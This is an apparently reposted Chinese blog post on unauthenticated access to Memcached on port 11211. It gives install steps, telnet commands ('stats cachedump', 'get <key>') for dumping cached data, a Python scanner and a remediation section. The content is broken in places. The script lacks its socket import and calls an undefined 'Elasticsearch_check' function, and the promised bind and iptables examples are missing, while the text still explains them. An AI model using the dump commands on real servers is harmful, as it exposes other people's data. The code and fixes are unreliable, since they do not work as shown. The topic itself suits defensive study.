Memcache未授權訪問漏洞


  Memcached 分布式緩存系統,默認的 11211 端口不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。

0X00 Memcache安裝

  1. 下載Mencache的windows穩定版,解壓放某個盤下面

  2、在cmd命令界面)下輸入 'memcached.exe -d install' 進行安裝

  3、 啟動 memcached.exe -d start。NOTE: 以后memcached將作為windows的一個服務每次開機時自動啟動。這樣服務器端已經安裝完畢了。

0x01 漏洞驗證

telnet 10.9.9.120

無需用戶名密碼,可以直接連接memcache 服務的11211端口。

# stats  //查看memcache 服務狀態
# stats items  //查看所有items
# stats cachedump 32 0  //獲得緩存key
# get :state:264861539228401373:261588   //通過key讀取相應value ,獲得實際緩存內容,造成敏感信息泄露

0x02 Python未授權訪問腳本

 

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("stats\r\n")
        result = s.recv(1024)
        if "STAT version" in result:
            print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
    except Exception, e:
        pass
if __name__ == '__main__':
    Elasticsearch_check("127.0.0.1")                        

0x03 修復方案:

因memcache無權限控制功能,所以需要用戶對訪問來源進行限制。

方案一:

  如果memcache沒有在外網開放的必要,可在memcached啟動的時候指定綁定的ip地址為 127.0.0.1。例如:

方案二:(注意:請謹慎配置iptables規則)

  如果memcache服務需要對外提供服務,則可以通過iptables進行訪問控制,下面是只允許本機訪問:

上述規則的意思是只允許192.168.0.2這個ip對11211端口進行訪問。

 

關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。

參考鏈接:

Windows下的Memcache安裝  http://kimi.it/258.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM